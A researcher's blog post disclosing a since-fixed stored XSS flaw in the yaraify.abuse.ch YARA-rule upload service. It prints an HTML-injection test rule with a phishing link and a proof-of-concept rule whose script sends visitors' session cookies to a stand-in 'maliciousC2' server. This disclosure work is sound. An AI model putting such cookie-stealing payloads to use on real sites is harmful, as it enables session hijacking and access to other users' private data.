From YARA rule to XSS.

Posted on

Exploiting stored XSS via a YARA rule.

This was a vulnerability that allowed from a YARA rule, inject stored XSS to hijack cookies or perform phishing. Also these YARAs give a way to bypass anti-XSS headers:

X-XSS-Protection: 1; mode=block

Content-Security-Policy: default-src 'self' ...

All this without any pre-encoding/obfuscation in the payload script:

<script>alert(1)</script>

The vulnerability was found and reported to yaraify.abuse.ch. The web functionality is to allow uploading YARA rules and match against any new files that are uploaded (similar to what VT offers but without as much $).

yaraify webpage

In addition to upload a YARA rule, the service allows you to define whether you want to publish, make it private or an intermediate state of the YARA.

To try it I export some YARAs from VT and uploading directly to the web. Now gets tricky, when try to visualize one of these rules, the text is out of square or in some parts in bold format.

To better understand what was happening, this is one of the YARA variable affected:
$var2 = "E<ul><li>Press <b>Install</b> button to start extraction [...]

Seems that the web instead of using the character ‘<‘ , ‘>’ for the YARA rule, alternatively interprets it as HTML tags.

So upload a YARA test to validate this behavior:

rule testHTML {
  meta:
    author = "@razvialex"
    yarahub_author_twitter = "<a href='http://phisingTwitterWEB.com'>razvialex</a>"
  strings:
    $0 = "Example of http injection:<b>bold text</b>.<h1>Title h1</h1>"
  condition:
    all of them }

Once uploaded, when access:

Get HTML injection, now it’s time to try XSS (fearing that this time it won’t work maybe due to the Content Security Policy, etc). Nevertheless:

stored XSS alert execution

Get stored XSS. The alert is fine, but not enough to exemplify the real power of an XSS (like modify the web interface, logical part, hijacking cookie, phising..).

So create a small POC, in which any user who accesses to view my YARA also send to my external server their session cookie:

rule testXSS {
  meta:
    [..]
  strings:
    [..]
    $1 = "Example of XSS: <script>document.write(src='http://maliciousC2/?'+ 'Cookie:'+document.cookie);</script>" }

And seems the POC works.

stored XSS hijack session cookies

Among other things, now you could, for example, view the private YARA rules of other users.

Conclusion, if the user input is not validated or sanitized, it is possible that at some point due to other extra functionalities that are added, the headers alone will not be enough protection.

Always validate any external input (fields, headers, etc) and sanitize the data. Never trust user input.

The vulnerability was reported and fixed a few months ago to https://yaraify.abuse.ch/

Categoriesweb